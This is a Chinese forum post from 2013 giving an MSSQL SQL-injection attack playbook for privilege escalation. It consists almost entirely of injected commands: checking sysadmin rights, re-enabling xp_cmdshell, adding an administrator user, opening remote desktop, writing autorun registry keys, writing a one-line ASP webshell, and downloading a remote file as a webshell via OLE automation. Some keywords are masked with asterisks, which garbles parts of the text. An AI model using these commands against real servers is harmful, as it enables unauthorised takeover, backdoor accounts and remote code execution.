search 登录 注册
arrow_back返回列表
ID:1919
light_modedark_mode
Lv.5 甘首五朝臣
edit_note帖子 143
stars积分 241,462
event加入 2010-11-02
技术讨论

高级注入命令~提权

schedule发表于 2013-08-27 08:50:00 visibility查看 105 chat_bubble回复 0
#1 楼主
1.注入点类型的判断 and exists (* * from sysobjects) 2.注入点权限判断 and 1=(* is_srvrolemember(‘sysadmin‘)) //判断是否是系统管理员 and 1=(* is_srvrolemember(‘db_owner‘)) //判断是否是库权限 and 1=(* is_s...一、基本信息搜集1.注入点类型的判断and exists (* * from sysobjects)2.注入点权限判断and 1=(* is_srvrolemember(‘sysadmin‘)) //判断是否是系统管理员and 1=(* is_srvrolemember(‘db_owner‘)) //判断是否是库权限and 1=(* is_srvrolemember(‘public‘)) //判断是否为public权限3.其他信息获取;* @d int //判断MsSQL支持多行语句查询and (* count(1) from [sysobjects])>=0 //是否支持子查询and user>0 //获取当前数据库用户名and db_name>0 //获取当前数据库名称and 1=convert(int,db_name())或1=(* db_name()) //当前数据库名and 1=(* @@servername) //本地服务名and 1=(* HAS_DBACCESS(‘*‘)) //判断是否有库读取权限二、利用MsSQL扩展存储注入攻击1.检测与恢复扩展存储判断*cmdshell扩展存储是否存在and 1=(* count(*) from *.dbo.sysobjects where xtype= ‘x‘ AND name= ‘*cmdshell‘)判断*regread扩展存储过程是否存在and 1=(* count(*) from *.dbo.sysobjects where name=‘*regread‘)恢复;* **extendedproc ‘*cmdshell‘;* **extendedproc *cmdshell,‘xplog70.dll‘三、sa权限下扩展存储攻击利用方法1.利用*cmdshell扩展执行任意命令查看C盘;* table black;* TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))--;* into black * *..*cmdshell ‘dir c:\‘and 1=(* top 1 mulu from black where id=1)新建用户;* *..*cmdshell ‘net user test test /add‘;* *..*cmdshell ‘net localgroup administrators test /add‘打开3389;* *..*cmdshell ‘sc configtermservice start=auto‘;* *..*cmdshell ‘net start termservice‘;* *..*cmdshell ‘reg add“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server“ /v www.2cto.comfDenyTSConnections /t REG_DWORD/d 0x0 /f‘ //允许外部连接;* *..*cmdshell ‘reg add“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp“ /v PortNumber /t REG_DWORD /d 0x50/f‘ //改端口到80,个人感觉没什么用,要么放到最前面执行2.*regwrite操作注册表;* *..*regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Windows\currentversion\run‘,‘black‘,‘REG_SZ‘,‘netuser test test /add‘开启沙盒模式;* *..*regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,1然后利用jet.oledb执行如下;* * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\windows\system32\ias\dnary.mdb‘,‘* shell(“netuser test test /add“)‘)注意,如果注入点的参数是integer数字型,就可指定“ias.mdb“数据库;如果是string字符型,则可指定dnary.mdb。如果是windows 2000系统,数据库的路径应该指定为“x:\winnt\system32\ias\ias.mdb“。3.利用*makewebtask写入一句话木马;* *makewebtask ‘e:\www_iis\yjh.asp‘,‘*‘‘%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%72%22%29%25%3E‘‘‘--4.利用*oa*存储远程下载文件(啊D的一个漏洞利用工具就是这个原理);* @B varbinary(8000),@hr int,@http INT,@down INT* *oa* [Microsoft.XMLHTTP],@http output* @hr = *oamethod @http,[Open],null,[GET],[http://www.test.com/muma.txt],0* @hr = *oamethod @http,[Send],null* @hr=*OAGetProperty @http,[responseBody],@B output* @hr=*oa* [ADODB.Stream],@down output* @hr=*OASetProperty @down,[Type],1 * @hr=*OASetProperty @down,[mode],3* @hr=*oamethod @down,[Open],null * @hr=*oamethod @down,[Write],null,@B* @hr=*oamethod @down,[SaveToFile],null,[e:\www_iis\muma.asp],1即可下载文件:http://www.test.com/muma.txt的内容到e:\www_iis\muma.asp成功写入一个webshell.5.*addlogin扩展管理数据库用户;* *.dbo.*addlogin test,password* *.dbo.*addlogin test,sysadmin6.*servicecontrol管理服务(自测不太管用)要停掉或激活某个服务,可利用;* *..*servicecontrol ‘stop‘,‘schedule‘ //停止计划任务服务;* *..*servicecontrol ‘start‘,‘schedule‘;* *..*servicecontrol ‘start‘,‘server‘ //启动server服务7.获取当前web目录;* table black;* TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))--;* @result varchar(255) **.dbo.*regread ‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots‘,‘/‘,@result output * into black (mulu) values(@result)--然后and 1=(* top 1 mulu from black where id=1)四、dbowner权限下的扩展攻击利用1.判断数据库用户权限and 1=(* is_member(‘db_owner‘));--2.搜索web目录;* table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID intNOT NULL IDENTITY(1,1));--然后;* into temp(dir,depth,files)**.dbo.*dirtree ‘c:‘,1,1--and(* dir from temp where id=1)>0由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹3.写入一句话木马找到web目录后,就可以写入一句话木马了;alter database news set RECOVERY FULL;* table test(str image)--;backup log news to disk=‘c:\test‘ with init--;* into test(str)values (‘<%excute(request(“cmd“))%>‘)--;backup log news to disk=‘c:\inetpub\wwwroot\yjh.asp‘--;alter database news RECOVERY simpleThe quieter you become,the more you are able to hear.
forum
暂无回复,快来抢沙发!
登录 后才能回复